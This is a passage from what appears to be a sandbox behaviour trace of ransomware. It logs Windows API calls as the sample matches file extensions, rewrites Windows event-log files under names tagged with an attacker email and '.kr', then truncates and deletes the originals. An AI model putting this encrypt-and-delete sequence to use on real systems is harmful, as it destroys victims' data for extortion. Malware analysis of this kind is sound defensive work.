(lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0099.959] lstrlenW (lpString=".doc") returned 4 [0099.960] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.960] lstrlenW (lpString=".docx") returned 5 [0099.960] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.960] lstrlenW (lpString=".pdf") returned 4 [0099.960] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.960] lstrlenW (lpString=".xls") returned 4 [0099.960] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.960] lstrlenW (lpString=".xlsx") returned 5 [0099.960] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.960] lstrlenW (lpString=".ppt") returned 4 [0099.960] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0099.960] lstrlenW (lpString=".zip") returned 4 [0099.960] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.960] lstrlenW (lpString=".rar") returned 4 [0099.960] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.960] lstrlenW (lpString=".bz2") returned 4 [0099.960] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.960] lstrlenW (lpString=".7z") returned 3 [0099.960] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0099.960] lstrlenW (lpString=".dbf") returned 4 [0099.960] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0099.960] lstrlenW (lpString=".1cd") returned 4 [0099.960] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0099.961] lstrlenW (lpString=".jpg") returned 4 [0099.961] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0099.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0099.961] lstrlenW (lpString=".doc") returned 4 [0099.961] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.961] lstrlenW (lpString=".docx") returned 5 [0099.961] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.961] lstrlenW (lpString=".pdf") returned 4 [0099.961] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.961] lstrlenW (lpString=".xls") returned 4 [0099.961] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.961] lstrlenW (lpString=".xlsx") returned 5 [0099.961] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.961] lstrlenW (lpString=".ppt") returned 4 [0099.961] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0099.961] lstrlenW (lpString=".zip") returned 4 [0099.961] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.961] lstrlenW (lpString=".rar") returned 4 [0099.961] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.961] lstrlenW (lpString=".bz2") returned 4 [0099.962] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.962] lstrlenW (lpString=".7z") returned 3 [0099.962] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0099.962] lstrlenW (lpString=".dbf") returned 4 [0099.962] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0099.962] lstrlenW (lpString=".1cd") returned 4 [0099.962] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0099.962] lstrlenW (lpString=".jpg") returned 4 [0099.962] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.962] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.962] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49 [0099.963] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0099.977] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0099.977] CloseHandle (hObject=0x34c) returned 1 [0099.977] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0099.977] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.977] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0099.977] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.977] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.977] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0099.978] GetLastError () returned 0x0 [0099.978] ReadFile (in: hFile=0x34c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0099.985] WriteFile (in: hFile=0x370, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.987] ReadFile (in: hFile=0x34c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.987] WriteFile (in: hFile=0x370, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x136, lpOverlapped=0x0) returned 1 [0099.987] SetEndOfFile (hFile=0x370) returned 1 [0099.988] CloseHandle (hObject=0x370) returned 1 [0099.991] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.991] SetEndOfFile (hFile=0x34c) returned 1 [0099.992] CloseHandle (hObject=0x34c) returned 1 [0099.992] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.993] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1 [0099.993] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0099.993] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0099.993] lstrlenW (lpString=".doc") returned 4 [0099.993] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.993] lstrlenW (lpString=".docx") returned 5 [0099.993] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.993] lstrlenW (lpString=".pdf") returned 4 [0099.993] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.993] lstrlenW (lpString=".xls") returned 4 [0099.994] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.994] lstrlenW (lpString=".xlsx") returned 5 [0099.994] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.994] lstrlenW (lpString=".ppt") returned 4 [0099.994] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.994] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0099.994] lstrlenW (lpString=".zip") returned 4 [0099.994] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.994] lstrlenW (lpString=".rar") returned 4 [0099.994] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.994] lstrlenW (lpString=".bz2") returned 4 [0099.994] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.994] lstrlenW (lpString=".7z") returned 3 [0099.994] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.994] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0099.994] lstrlenW (lpString=".dbf") returned 4 [0099.994] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.994] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0099.994] lstrlenW (lpString=".1cd") returned 4 [0099.994] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.994] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0099.994] lstrlenW (lpString=".jpg") returned 4 [0099.994] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.994] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0099.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0099.995] lstrlenW (lpString=".doc") returned 4 [0099.995] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.995] lstrlenW (lpString=".docx") returned 5 [0099.995] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.995] lstrlenW (lpString=".pdf") returned 4 [0099.995] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.995] lstrlenW (lpString=".xls") returned 4 [0099.995] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.995] lstrlenW (lpString=".xlsx") returned 5 [0099.995] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.995] lstrlenW (lpString=".ppt") returned 4 [0099.995] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0099.995] lstrlenW (lpString=".zip") returned 4 [0099.995] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.995] lstrlenW (lpString=".rar") returned 4 [0099.995] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.995] lstrlenW (lpString=".bz2") returned 4 [0099.995] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.995] lstrlenW (lpString=".7z") returned 3 [0099.995] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0099.995] lstrlenW (lpString=".dbf") returned 4 [0099.995] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0099.996] lstrlenW (lpString=".1cd") returned 4 [0099.996] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0099.996] lstrlenW (lpString=".jpg") returned 4 [0099.996] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.996] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.996] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47 [0099.996] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0099.996] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0099.997] CloseHandle (hObject=0x34c) returned 1 [0099.997] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0099.997] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.997] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0099.997] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.997] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.997] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0099.999] GetLastError () returned 0x0 [0099.999] ReadFile (in: hFile=0x34c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0100.002] WriteFile (in: hFile=0x370, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0100.004] ReadFile (in: hFile=0x34c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.004] WriteFile (in: hFile=0x370, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x132, lpOverlapped=0x0) returned 1 [0100.005] SetEndOfFile (hFile=0x370) returned 1 [0100.005] CloseHandle (hObject=0x370) returned 1 [0100.008] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.008] SetEndOfFile (hFile=0x34c) returned 1 [0100.009] CloseHandle (hObject=0x34c) returned 1 [0100.009] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0100.010] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0100.010] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0100.010] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0100.010] lstrlenW (lpString=".doc") returned 4 [0100.010] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0100.010] lstrlenW (lpString=".docx") returned 5 [0100.010] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0100.010] lstrlenW (lpString=".pdf") returned 4 [0100.010] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0100.010] lstrlenW (lpString=".xls") returned 4 [0100.010] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0100.010] lstrlenW (lpString=".xlsx") returned 5 [0100.010] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0100.011] lstrlenW (lpString=".ppt") returned 4 [0100.011] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0100.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0100.011] lstrlenW (lpString=".zip") returned 4 [0100.011] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0100.011] lstrlenW (lpString=".rar") returned 4 [0100.011] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0100.011] lstrlenW (lpString=".bz2") returned 4 [0100.011] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0100.011] lstrlenW (lpString=".7z") returned 3 [0100.011] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0100.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0100.011] lstrlenW (lpString=".dbf") returned 4 [0100.011] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0100.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0100.011] lstrlenW (lpString=".1cd") returned 4 [0100.011] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0100.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0100.011] lstrlenW (lpString=".jpg") returned 4 [0100.011] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0100.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0100.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0100.011] lstrlenW (lpString=".doc") returned 4 [0100.011] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0100.012] lstrlenW (lpString=".docx") returned 5 [0100.012] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0100.012] lstrlenW (lpString=".pdf") returned 4 [0100.012] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0100.012] lstrlenW (lpString=".xls") returned 4 [0100.012] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0100.012] lstrlenW (lpString=".xlsx") returned 5 [0100.012] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0100.012] lstrlenW (lpString=".ppt") returned 4 [0100.012] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0100.012] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0100.012] lstrlenW (lpString=".zip") returned 4 [0100.012] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0100.013] lstrlenW (lpString=".rar") returned 4 [0100.013] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0100.013] lstrlenW (lpString=".bz2") returned 4 [0100.013] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0100.013] lstrlenW (lpString=".7z") returned 3 [0100.013] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0100.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0100.013] lstrlenW (lpString=".dbf") returned 4 [0100.013] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0100.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0100.013] lstrlenW (lpString=".1cd") returned 4 [0100.013] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0100.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0100.013] lstrlenW (lpString=".jpg") returned 4 [0100.013] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0100.013] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0100.013] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47 [0100.013] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0100.016] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0100.016] CloseHandle (hObject=0x34c) returned 1 [0100.016] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0100.016] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0100.016] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0100.016] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.016] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.017] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0100.017] GetLastError () returned 0x0 [0100.017] ReadFile (in: hFile=0x34c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0100.323] WriteFile (in: hFile=0x370, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0100.474] ReadFile (in: hFile=0x34c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.474] WriteFile (in: hFile=0x370, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x132, lpOverlapped=0x0) returned 1 [0100.474] SetEndOfFile (hFile=0x370) returned 1 [0100.475] CloseHandle (hObject=0x370) returned 1 [0100.477] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.477] SetEndOfFile (hFile=0x34c) returned 1 [0100.479] CloseHandle (hObject=0x34c) returned 1 [0100.479] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0100.479] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0100.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0100.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0100.479] lstrlenW (lpString=".doc") returned 4 [0100.479] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0100.479] lstrlenW (lpString=".docx") returned 5 [0100.480] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0100.480] lstrlenW (lpString=".pdf") returned 4 [0100.480] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0100.480] lstrlenW (lpString=".xls") returned 4 [0100.480] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0100.480] lstrlenW (lpString=".xlsx") returned 5 [0100.480] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0100.480] lstrlenW (lpString=".ppt") returned 4 [0100.480] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0100.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0100.480] lstrlenW (lpString=".zip") returned 4 [0100.480] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0100.480] lstrlenW (lpString=".rar") returned 4 [0100.480] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0100.480] lstrlenW (lpString=".bz2") returned 4 [0100.480] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0100.480] lstrlenW (lpString=".7z") returned 3 [0100.480] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0100.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0100.480] lstrlenW (lpString=".dbf") returned 4 [0100.480] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0100.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0100.480] 